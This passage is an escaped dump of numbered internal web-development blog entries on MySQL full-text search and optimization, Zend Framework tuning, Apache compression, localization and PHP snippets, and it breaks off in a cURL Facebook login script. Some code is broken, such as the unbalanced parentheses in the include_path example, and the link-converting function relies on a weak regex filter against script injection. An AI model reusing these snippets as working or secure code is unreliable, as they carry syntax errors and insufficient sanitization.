double quote (“\"”) characters matches only rows that contain the phrase <i>literally, as it was typed</i>. The full-text engine splits the phrase into words and performs a search in the FULLTEXT index for the words. Prior to MySQL 5.0.3, the engine then performed a substring search for the phrase in the records that were found, so the match must include nonword characters in the phrase. As of MySQL 5.0.3, nonword characters need not be matched exactly: Phrase searching requires only that matches contain exactly the same words as the phrase and in the same order. For example, \"test phrase\" matches \"test, phrase\" in MySQL 5.0.3, but not before.\r\n\r\nIf the phrase contains no words that are in the index, the result is empty. For example, if all words are either stopwords or shorter than the minimum length of indexed words, the result is empty.\r\n\r\nThe following examples demonstrate some search strings that use boolean full-text operators:\r\n<ul>\r\n	<li>\'apple banana\'</li>\r\n</ul>\r\nFind rows that contain at least one of the two words.\r\n<ul>\r\n	<li>\'+apple +juice\'</li>\r\n</ul>\r\nFind rows that contain both words.\r\n<ul>\r\n	<li>\'+apple macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple”, but rank rows higher if they also contain “macintosh”.\r\n<ul>\r\n	<li>\'+apple -macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple” but not “macintosh”.\r\n<ul>\r\n	<li>\'+apple ~macintosh\'</li>\r\n</ul>\r\nFind rows that contain the word “apple”, but if the row also contains the word “macintosh”, rate it lower than if row does not. This is “softer” than a search for \'+apple -macintosh\', for which the presence of “macintosh” causes the row not to be returned at all.\r\n<ul>\r\n	<li>\'+apple +(&gt;turnover &lt;strudel)\'</li>\r\n</ul>\r\nFind rows that contain the words “apple” and “turnover”, or “apple” and “strudel” (in any order), but rank “apple turnover” higher than “apple strudel”.\r\n<ul>\r\n	<li>\'apple*\'</li>\r\n</ul>\r\nFind rows that contain words such as “apple”, “apples”, “applesauce”, or “applet”.\r\n<ul>\r\n	<li>\'\"some words\"\'</li>\r\n</ul>\r\nFind rows that contain the exact phrase “some words” (for example, rows that contain “some words of wisdom” but not “some noise words”). Note that the “\"” characters that enclose the phrase are operator characters that delimit the phrase. They are not the quotation marks that enclose the search string itself.\r\n\r\n&nbsp;\r\n\r\n<span style=\"text-decoration: underline;\">25.</span>  <span style=\"text-decoration: underline;\">Blog25:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Check your website loads and performance with HttpWatch\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\nHttpWatch integrates with Internet Explorer and Firefox browsers to show you exactly what HTTP traffic is triggered when you access a web page. If you access a site that uses secure HTTPS connections, HttpWatch automatically displays the decrypted form of the network traffic.\r\n\r\nReference Site : <a href=\"http://www.httpwatch.com/features.htm\" target=\"_blank\">http://www.httpwatch.com/features.htm</a>\r\n\r\n&nbsp;\r\n\r\n<span style=\"text-decoration: underline;\">26.</span>  <span style=\"text-decoration: underline;\">Blog26:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  The Power Of ZOOM - Fixing CSS Issues In Internet Explorer\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\nI think we\'ve all experienced how frustrating it can be to do cross-browser testing with CSS-based web sites. Why is it that Internet Explorer (IE) never seems to play nicely with good, solid CSS markup?!? Anyway, I just thought I\'d share one technique that I\'ve found to be extremely helpful. When I have some CSS that just won\'t work in IE, I see if adding a ZOOM property of 1 (one) will help.\r\n\r\ndiv {\r\n\r\nzoom:1;\r\n\r\n}\r\n\r\nI have to say, 90% of the time, this fixes the display issues that I am having in IE... and, it does so without adversely affecting any of the other browsers (that I have tested). I guess you could call this an IE-hack since I believe the zoom property is only supported by Internet Explorer.\r\n\r\nI am not exactly sure why this works, but it has something to do with what you are trying to accomplish and the concept of an element having a \"layout\". In IE, some elements have a \"hasLayout\" property that is true by default. This is required for many visual settings; for example, an alpha filter only works on an element that hasLayout. So, why does {Zoom:1} work? It gives the target elements the hasLayout property.\r\n\r\nThere\'s a bunch of other things you can do to fix rendering issues in IE, but I have found {zoom:1} to be the lowest hanging fruit.\r\n\r\nReference Site : <a href=\"http://www.satzansatz.de/cssd/onhavinglayout.html\" target=\"_blank\">http://www.satzansatz.de/cssd/onhavinglayout.html</a>\r\n\r\n<span style=\"text-decoration: underline;\">27.</span>  <span style=\"text-decoration: underline;\">Blog27:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Mysql query optimizations in where clause\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> :Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<strong>Iam listing some of the points to optimize  mysql query  : </strong>\r\nThese are things we need to remember while writing the queries .\r\n\r\n·         Removal of unnecessary parentheses:\r\n\r\n((a AND b) AND c OR (((a AND b) AND (c AND d))))\r\n-&gt; (a AND b AND c) OR (a AND b AND c AND d)-\r\n<ul>\r\n	<li>  Constant folding:</li>\r\n</ul>\r\n(a&lt;b AND b=c) AND a=5\r\n-&gt; b&gt;5 AND b=c AND a=5\r\n<ul>\r\n	<li> Constant condition removal (needed because of constant folding):</li>\r\n</ul>\r\n(B&gt;=5 AND B=5) OR (B=6 AND 5=5) OR (B=7 AND 5=6)\r\n-&gt; B=5 OR B=6\r\n<ul>\r\n	<li>  Constant expressions used by indexes are evaluated only once.</li>\r\n	<li>  COUNT(*) on a single table without a WHERE is retrieved directly from the table information for MyISAM and MEMORY tables. This is also done for any NOT NULL expression when used with only one table.</li>\r\n	<li>Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.</li>\r\n	<li>HAVING is merged with WHERE if you do not use GROUP BY or aggregate functions (COUNT(), MIN(), and so on).</li>\r\n	<li>For each table in a join, a simpler WHERE is constructed to get a fast WHERE evaluation for the table and also to skip rows as soon as possible.</li>\r\n	<li>All constant tables are read first before any other tables in the query. A constant table is any of the following:</li>\r\n</ul>\r\no    An empty table or a table with one row.\r\no    A table that is used with a WHERE clause on a PRIMARY KEY or a UNIQUE index, where all   index parts are compared to constant expressions and are defined as NOT NULL.\r\nAll of the following tables are used as constant tables:\r\nSELECT * FROM t WHERE primary_key=1;\r\nSELECT * FROM t1,t2\r\nWHERE t1.primary_key=1 AND t2.primary_key=t1.id;\r\n<ul>\r\n	<li>The best join combination for joining the tables is found by trying all possibilities. If all columns in ORDER BY and GROUP BY clauses come from the same table, that table is preferred first when joining.</li>\r\n	<li>If there is an ORDER BY clause and a different GROUP BY clause, or if the ORDER BY or GROUP BY contains columns from tables other than the first table in the join queue, a temporary table is created.</li>\r\n	<li>  If you use the SQL_SMALL_RESULT option, MySQL uses an in-memory temporary table.</li>\r\n	<li> Each table index is queried, and the best index is used unless the optimizer believes that it is more efficient to use a table scan. At one time, a scan was used based on whether the best index spanned more than 30% of the table, but a fixed percentage no longer determines the choice between using an index or a scan. The optimizer now is more complex and bases its estimate on additional factors such as table size, number of rows, and I/O block size.</li>\r\n	<li> In some cases, MySQL can read rows from the index without even consulting the data file. If all columns used from the index are numeric, only the index tree is used to resolve the query.</li>\r\n	<li> Before each row is output, those that do not match the HAVING clause are skipped.</li>\r\n</ul>\r\n&nbsp;\r\n\r\n<span style=\"text-decoration: underline;\">28.</span>  <span style=\"text-decoration: underline;\">Blog28:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Optimize tables and database in MySQL automatically with PHP\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<strong>Optimize Mysql Database Table:</strong>\r\n\r\nThe Following Command will show the present status of the Database Table\r\n<pre>show table status like \'mytablename\';</pre>\r\n<pre></pre>\r\n<pre>The following command will optimize the Database Table</pre>\r\n<pre></pre>\r\n<pre>optimize table mytablename;</pre>\r\n<pre></pre>\r\n<pre><strong>Optimize Database in MySQL automatically with PHP  </strong></pre>\r\n<pre></pre>\r\n<pre>The Following Script Will Optimize the entire database.</pre>\r\n<pre>We don\'t have the direct command to optimize the entire database.<strong> </strong></pre>\r\n<pre></pre>\r\n<pre></pre>\r\n<pre>$res = mysql_query(\'SHOW TABLE STATUS WHERE Data_free / Data_length &gt; 0.1 AND Data_free &gt; 102400\');</pre>\r\n<pre>while($row = mysql_fetch_assoc($res)) {</pre>\r\n<pre>  mysql_query(\'OPTIMIZE TABLE \' . $row[\'Name\']);</pre>\r\n<pre>}</pre>\r\n<pre><strong>    Step1:   </strong>SHOW TABLE STATUS WHERE Data_free / Data_length &gt; 0.1 AND Data_free &gt; 102400</pre>\r\n<pre>             In this step we will get the tables</pre>\r\n<pre><strong>    Step2:</strong>   It will optimize the each and every table individually</pre>\r\n<pre></pre>\r\n<span style=\"text-decoration: underline;\">29.</span>  <span style=\"text-decoration: underline;\">Blog29:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Zend Framework Performance Optimization\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\r\n<b>                   </b><b>Zend Framework Performance Optimization</b>\r\n\r\n<b> </b>\r\n\r\n<b>What is Application Performance</b>\r\n\r\nApplication performance is meant by how quickly your script executes, How many requests handling per second.\r\n\r\nIt is often forgotten that to the end user none of these measurements are in any way relevant. To the end user, the only performance metric that ever matters is how quickly the page they requested loads, and how quickly they can do whatever they want to do.\r\n\r\nIn this white paper I am describing the techniques to improve the performance of Zend Framework.\r\n\r\n&nbsp;\r\n\r\n<b>Why Zend Framework</b>\r\n\r\nZend Framework is a  open-source software framework for PHP 5 designed to eliminate the tedious details of coding and let you focus on the big picture. Its strength is in its highly-modular MVC design, making your code more reusable and easier to maintain.\r\n\r\nHas inbuilt API services  for google, Amazon, yahoo, flicker and etc.\r\n\r\n&nbsp;\r\n\r\n<b>Zend Framework performance optimization</b>\r\n\r\nThe following are the few ways to optimize your Zend Framework.\r\n\r\n1)<b>optimize include_path:</b> Define your Zend Framework include_path as early as passable by using the realpath() function in php. Reduce the number of include paths  as less as passable.\r\n\r\n&nbsp;\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">define(\'APPLICATION_PATH\', realpath(dirname(__FILE__)));\r\n\r\n$paths = array(\r\n\r\nAPPLICATION_PATH . \'/../library\'),\r\n\r\n\'.\',\r\n\r\n);\r\n\r\nset_include_path(implode(PATH_SEPARATOR, $paths);</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\n2) <b>Eliminate unnecessary require_once statements:</b>Using require_once to load the Zend Framework library classes is a bottleneck. Instead of using the require_once use <b><i>Zend_Loader_Autoloader</i></b><b>,</b> autoloading  is a concept of optimization technique designed to push the expensive operation of loading a class file until the last possible moment -- i.e., when instantiating an object of that class, calling a static class method, or referencing a class constant or static property. Add the following code in your bootstrap file.\r\n\r\n&nbsp;\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">require_once \'Zend/Loader/Autoloader.php\';\r\n\r\nZend_Loader_Autoloader::getInstance();</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nHowever, most benefits you may reap from autoloading are negated if your library code is still performing require_once() calls.  Use the following command to strip require_once statements in Unix systems.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">% cd path/to/ZendFramework/library\r\n\r\n% find . -name \'*.php\' -not -wholename \'*/Loader/Autoloader.php\' \\  -not -wholename \'*/Application.php\' -print0 | \\  xargs -0 sed --regexp-extended --in-place \'s/(require_once)/\\/\\/ \\1/g\'</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n3) <b>Optimize Zend translation:</b> Zend Framework provides a variety of translation adapters like array, csv, ini and gettext. Use translation cache to speed up the translation.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">$cache = Zend_Cache::factory(\'Core\',\r\n\r\n\'File\',\r\n\r\n$frontendOptions,\r\n\r\n$backendOptions);\r\n\r\nZend_Translate::setCache($cache);\r\n\r\n$translate = new Zend_Translate(\r\n\r\narray(\r\n\r\n\'adapter\' =&gt; \'gettext\',\r\n\r\n\'content\' =&gt; \'/path/to/translate.mo\',\r\n\r\n\'locale\'  =&gt; \'en\'\r\n\r\n)\r\n\r\n);\r\n\r\n// to clear the cache somewhere later in your code\r\n\r\nZend_Translate::clearCache();</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n4) <b>Use zend_cache  to cache your content:</b> Cache the database results using the zend_cache if they are not changing frequently.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">    $frontendOptions = array( \'lifetime\' =&gt; 7200, // cache lifetime of 2 hours\r\n\r\n\'automatic_serialization\' =&gt; true\r\n\r\n);\r\n\r\n$backendOptions = array(\r\n\r\n\'cache_dir\' =&gt; \'./tmp/\' // Directory where to put the cache files\r\n\r\n);\r\n\r\n// getting a Zend_Cache_Core object\r\n\r\n$cache = Zend_Cache::factory(\'Core\',\r\n\r\n\'File\',\r\n\r\n$frontendOptions,\r\n\r\n$backendOptions);\r\n\r\nBy using the above code you can initialized the cache\r\n\r\n// see if a cache already exists:\r\n\r\nif( ($result = $cache-&gt;load(\'myresult\')) === false ) {\r\n\r\n&nbsp;\r\n\r\n// cache miss; connect to the database\r\n\r\n//Write code to fetch the db results\r\n\r\n} else {\r\n\r\n// cache hit! shout so that we know\r\n\r\necho \"This one is from cache!\\n\\n\";\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\nprint_r($result);\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<b> </b>\r\n\r\n<b>Opcode caching</b>\r\n\r\n<b> </b>\r\n\r\nEvery time a PHP script executes, it goes through a number of steps to get from the version you wrote into something the PHP engine can understand and execute as logic called opcodes. This process is expensive from a performance perspective. Simply by introducing an opcode cache into your PHP technology stack, it is possible\r\n\r\nto increase the speed of your script executions from anywhere to 50 percent to 200 percent.\r\n\r\nThough you optimized your Zend Framework you need to cache your php script.\r\n\r\n&nbsp;\r\n\r\nThere are many options available, in those I am using apc to cache my opcodes.\r\n\r\nThe below code is used to cache the php code in to opcodes.\r\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"590\">if (!function_exists(\'apc_compile_file\')) {\r\n\r\necho \"ERROR: apc_compile_file does not exist!\";\r\n\r\nexit(1);\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n/**\r\n\r\n* Compile Files for APC\r\n\r\n* The function runs through each directory and\r\n\r\n* compiles each *.php file through apc_compile_file\r\n\r\n*/\r\n\r\nfunction compilefilesToApc($dir)\r\n\r\n{\r\n\r\n$dirs = glob($dir . DIRECTORY_SEPARATOR . \'*\', GLOB_ONLYDIR);\r\n\r\nif (is_array($dirs) &amp;&amp; count($dirs) &gt; 0) {\r\n\r\nwhile(list(,$v) = each($dirs)) {\r\n\r\ncompilefilesToApc($v);\r\n\r\n}\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n$files = glob($dir . DIRECTORY_SEPARATOR . \'*.php\');\r\n\r\nif (is_array($files) &amp;&amp; count($files) &gt; 0) {\r\n\r\nwhile(list(,$v) = each($files))\r\n\r\n{\r\n\r\napc_compile_file($v);\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\ncompilefilesToApc(\'/path/to/dir\');\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<pre></pre>\r\n<span style=\"text-decoration: underline;\">30.</span>  <span style=\"text-decoration: underline;\">Blog30:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Making text as hot links\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\r\n&nbsp;\r\n\r\nA lot of times we upload or post description to the site using textareas. If  that text contains any urls then the below code will convert  them as hot links while displaying to the user.\r\n\r\nThis will not only convert the urls but also recognize emails and add a mailto tag to them.\r\n\r\nfunction clickable_link($text,$anchor_class=\'\')\r\n{\r\n$text = preg_replace(\'#(script|about|applet|activex|chrome):#is\', \"\\\\1:\", $text);\r\n// pad it with a space so we can match things at the start of the 1st line.\r\n$ret = \' \' . $text;\r\n\r\n//this will remove the id=\" | id=\' from the text which will eliminate classes and scripts\r\n$ret = preg_replace(\"#(\\id[\\s]{0,1}=\\\"[^\\\"]*\\\"|\\id[\\s]{0,1}=\'[^\']*\'|class[\\s]{0,1}=\'[^\']*\'|class[\\s]{0,1}=\\\"[^\\\"]*\\\")#i\", \" \", $ret);\r\n\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])([\\w]+?://[\\w\\#$%&amp;~/.\\-;:=,?@\\[\\]+]*)#is\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"\\\\2\\\" target=\\\"_blank\\\"&gt;\\\\2&lt;/a&gt;\", $ret);\r\n\r\n// matches a \"www|ftp.xxxx.yyyy[/zzzz]\" kinda lazy URL thing\r\n// Must contain at least 2 dots. xxxx contains either alphanum, or \"-\"\r\n// zzzz is optional.. will contain everything up to the first space, newline,\r\n// comma, double quote or &lt;.\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])((www|ftp)\\.[\\w\\#$%&amp;~/.\\-;:=,?@\\[\\]+]*)#is\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"http://\\\\2\\\" target=\\\"_blank\\\"&gt;\\\\2&lt;/a&gt;\", $ret);\r\n\r\n// matches an email@domain type address at the start of a line, or after a space.\r\n// Note: Only the followed chars are valid; alphanums, \"-\", \"_\" and or \".\".\r\n\r\n$ret = preg_replace(\"#([\\s]|[\\n ]|[&gt;]|[;])([a-zA-Z]{1})([a-z0-9&amp;\\-_.]+?)@([\\w\\-]+\\.([\\w\\-\\.]+\\.)*[\\w]+)#i\", \"\\\\1&lt;a class=\\\"$anchor_class\\\" href=\\\"mailto:\\\\2\\\\3@\\\\4\\\"&gt;\\\\2\\\\3@\\\\4&lt;/a&gt;\", $ret);\r\n\r\n//remove starting space that we added\r\n$ret = substr($ret, 1);\r\n\r\nreturn $ret;\r\n}\r\n\r\n<span style=\"text-decoration: underline;\">31.</span>  <span style=\"text-decoration: underline;\">Blog31:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Fetching Facebook, twitter button values in php\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\r\nTo get Facebook likes, share, comments\r\n\r\n$source_url = \"http://www.flightpodcast.com/episode-6-john-bartels-qantas-qf30\";\r\n$url = \"http://api.facebook.com/restserver.php?method=links.getStats&amp;urls=\".urlencode($source_url);\r\n$xml = file_get_contents($url);\r\n$xml = simplexml_load_string($xml);\r\necho \"&lt;b&gt;Shares:&lt;/b&gt; \".$shares = $xml-&gt;link_stat-&gt;share_count;\r\necho \"&lt;b&gt;Likes:&lt;/b&gt; \".$likes = $xml-&gt;link_stat-&gt;like_count;\r\necho \"&lt;b&gt;Comments:&lt;/b&gt; \".$comments = $xml-&gt;link_stat-&gt;comment_count;\r\necho \"&lt;b&gt;Total:&lt;/b&gt; \".$total = $xml-&gt;link_stat-&gt;total_count;\r\nTo get Twitter retweets\r\n\r\n$url = urlencode($url);\r\n$twitterEndpoint = \"http://urls.api.twitter.com/1/urls/count.json?url=%s\";\r\n$fileData = file_get_contents(sprintf($twitterEndpoint, $url));\r\n$json = json_decode($fileData, true);\r\nunset($fileData);// free memory\r\necho $json[\'count\'];\r\n\r\n<span style=\"text-decoration: underline;\">32.</span>  <span style=\"text-decoration: underline;\">Blog32:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Getting a full Article from HTML page or RSS feed\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\r\n<pre><span style=\"text-decoration: underline;\"> </span></pre>\r\nThis Application is mainly used for to get full text articles from HTML page or RSS feed.\r\n\r\nDownload the code form zip file pass URL for getting the article.\r\n\r\n<a href=\"http://mycollabor.collabor.com/Uploads/media/full-text-rss-master.zip\" target=\"_blank\">Uploads/media/full-text-rss-master.zip</a>\r\n\r\n&nbsp;\r\n\r\nNote: This code work for 90% HTML and RSS feed.\r\n\r\n&nbsp;\r\n\r\n<span style=\"text-decoration: underline;\">33.</span>  <span style=\"text-decoration: underline;\">Blog33:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Executing PHP code on my existing yourpage.html page\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\nWhen a web page is accessed, the server checks the extension to know how to handle the page. Generally speaking if it sees a .htm or .html file, it sends it right to the browser because it doesn\'t have anything to process on the server. If it sees a .php extension (or .shtml, or .asp, etc), it knows that it needs to execute the appropriate code before passing it along to the browser.\r\n\r\n<strong>Here is the problem</strong>: You find the perfect script, and you want to run it on your site, but you need to included PHP on your page for it to work. You could just rename your pages to yourpage.php instead of yourpage.html, but you already have incoming links or search engine ranking so you don\'t want to change the file name. What can you do?\r\n\r\nFirst let me preface this by saying that if you are creating a new file anyway, you may as well use .php. This is to help people who have existing .html pages they need to execute PHP on.\r\n\r\nThe way to execute PHP on a .html page is to modify your httpd.conf file.Then you just need to add this line IN httpd.conf file:\r\n<b>\r\n<strong>AddType application/x-httpd-php .html</strong>\r\n\r\n<strong>AddType application/x-httpd-php .htm</strong></b>\r\n\r\n<span style=\"text-decoration: underline;\">34.</span>  <span style=\"text-decoration: underline;\">Blog34:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Compressing Web content can produce a much faster site for users.\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n<pre><span style=\"text-decoration: underline;\">Summary:</span></pre>\r\nReducing costs is a key consideration for every IT budget. One of the items looked at most closely is the cost of a company\'s bandwidth. Using content compression on a Web site is one way to reduce both bandwidth needs and cost. With that in mind, this article examines some of the compression modules available for Apache, specifically, mod_gzip for Apache 1.3.x and 2.0.x and mod_deflate for Apache 2.0.x.\r\n\r\nContent Compression Basics\r\n\r\nMost compression algorithms, when applied to a plain-text file, can reduce its size by 70% or more, depending on the content in the file. When using compression algorithms, the difference between standard and maximum compression levels is small, especially when you consider the extra CPU time necessary to process these extra compression passes. This is quite important when dynamically compressing Web content. Most software content compression techniques use a compression level of 6 (out of 9 levels) to conserve CPU cycles. The file size difference between level 6 and level 9 is usually so small as to be not worth the extra time involved.\r\n\r\nCompression in HTTP\r\n\r\nFor files identified as text/.* MIME types, compression can be applied to the file prior to placing it on the wire. This simultaneously reduces the number of bytes transferred and improves performance. Testing also has shown that Microsoft Office, StarOffice/OpenOffice and PostScipt files can be GZIP-encoded for transport by the compression modules.\r\n\r\nSome important MIME types that cannot be GZIP encoded are external JavaScript files, PDF files and image files. The problem with Javascript files mainly is due to bugs in browser software, as these files are really text files and overall performance would benefit by being compressed for transport. PDF and image files already are compressed, and attempting to compress them again simply makes them larger and leads to potential rendering issues with browsers.\r\n\r\nPrior to sending a compressed file to a client, it is vital that the server ensures the client receiving the data correctly understands and renders the compressed format. Browsers that understand compressed content send a variation of the following client request headers:\r\n<ul>\r\n	<li>Accept-encoding: gzip</li>\r\n	<li>Accept-encoding: gzip, deflate</li>\r\n</ul>\r\nCurrent major browsers include some variation of this message with every request they send. If the server sees the header and chooses to provide compressed content, it should respond with the server response header:\r\n\r\nContent-encoding: gzip\r\n\r\nThis header tells the receiving browser to decompress the content and parse it as it normally would. Alternatively, content may be passed to the appropriate helper application, based on the value of the Content-type header.\r\n\r\nThe file size benefits of compressing content can be seen easily by looking at example below for HTML file (<b>homepage.html</b>) (Table 1).\r\n\r\n<b>Table 1. /compress/homepage.html</b>\r\n<table border=\"1\" cellpadding=\"0\">\r\n<thead>\r\n<tr>\r\n<td>\r\n<p align=\"center\"><b>Compression</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Size</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Compression %</b></p>\r\n</td>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td>No compression</td>\r\n<td>56,380 bytes</td>\r\n<td>n/a</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 1.3.x/mod_gzip</td>\r\n<td>16,333 bytes</td>\r\n<td>29% of original</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 2.0.x/mod_deflate</td>\r\n<td>19,898 bytes</td>\r\n<td>35% of original</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 2.0.x/mod_deflate [2]</td>\r\n<td>16,337 bytes</td>\r\n<td>29% of original</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\nPlease find the more details on how to setup mod_deflate and mod_gzip <a href=\"http://www.linuxjournal.com/article/6802?page=0,1\" target=\"_blank\">here</a>\r\n\r\n<span style=\"text-decoration: underline;\">35.</span>  <span style=\"text-decoration: underline;\">Blog35:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Website displayed in multi language\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n<h1><strong>How a website can be displayed in more than one language?</strong></h1>\r\nIdeamine 7 is project where the content on the website can be displayed in English or in Russian depending upon the language chosen by the user.\r\n\r\n<b>Below are the steps on how it is done</b>\r\n\r\nCreate a .po file\r\n\r\nUsing the poEdit tool you can parse the .po file to create the .mo file\r\n\r\nIn the .po file you need to mention the id and the value\r\n\r\nIf the site is needed in two different language then you need to have two .po files.Which have the same id but different values\r\n\r\n<i><span style=\"text-decoration: underline;\">Below is an example where the id is the same but value is mentioned in English and in Russian </span></i>\r\n\r\n<span style=\"text-decoration: underline;\">Value in English </span>\r\n\r\nmsgid \"label_please_enter_first_name\"\r\n\r\nmsgstr \"Please enter first name\"\r\n\r\n<span style=\"text-decoration: underline;\">Value in Russsian</span>\r\n\r\nmsgid \"label_please_enter_first_name\"\r\n\r\nmsgstr \"Пожалуйста, введите имя\"\r\n\r\nUsing phptal in HTML you can call this id, which is replaced by the value that you give in the .mo file\r\n\r\n<i><span style=\"text-decoration: underline;\">Below is an example on how you call this id</span></i>\r\n\r\n${php: this.translate(label_please_enter_first_name \')}\r\n\r\nIn ideamine 7 we have created two .po files , one for English and one for Russian\r\n\r\nIn Ideamin7 we have two login forms on the home page. One in English and one in Russian . Depending upon the form used, a session variable is set to that particular language and  the site is displayed in that particular language.\r\n\r\nDepending upon the value of the session variable, that particular mo file is called in in the translator.php\r\n\r\nIf the user wants to switch the language he can do so by clicking on the preferred language in the dropdown which is provided  at the top on every page.Doing so will change the value of the session variable to that particular language.\r\n\r\n<span style=\"text-decoration: underline;\">36.</span>  <span style=\"text-decoration: underline;\">Blog36:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Awesome things to do with cURL\r\n\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span> : Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\ncURL, and its PHP extension libcURL, are tools which can be used to simulate a web browser. In fact, it can for example, submit forms.\r\n\r\n&nbsp;\r\n\r\n<b>1 – Update your Facebook status</b>\r\n\r\nWanna update your facebook status, but don’t want to go to facebook.com, login, and finally being able to update your status? Simply save the following code on your server, define the variables, and voilÃ !\r\n\r\n&lt;?PHP\r\n\r\n/*******************************\r\n\r\n*       Facebook Status Updater\r\n\r\n*       Christian Flickinger\r\n\r\n*       http://nexdot.net/blog\r\n\r\n*       April 20, 2007\r\n\r\n*******************************/\r\n\r\n&nbsp;\r\n\r\n$status = \'YOUR_STATUS\';\r\n\r\n$first_name = \'YOUR_FIRST_NAME\';\r\n\r\n$login_email = \'YOUR_LOGIN_EMAIL\';\r\n\r\n$login_pass = \'YOUR_PASSWORD\';\r\n\r\n&nbsp;\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'https://login.facebook.com/login.php?m&amp;amp;next=http%3A%2F%2Fm.facebook.com%2Fhome.php\');\r\n\r\ncurl_setopt($ch, 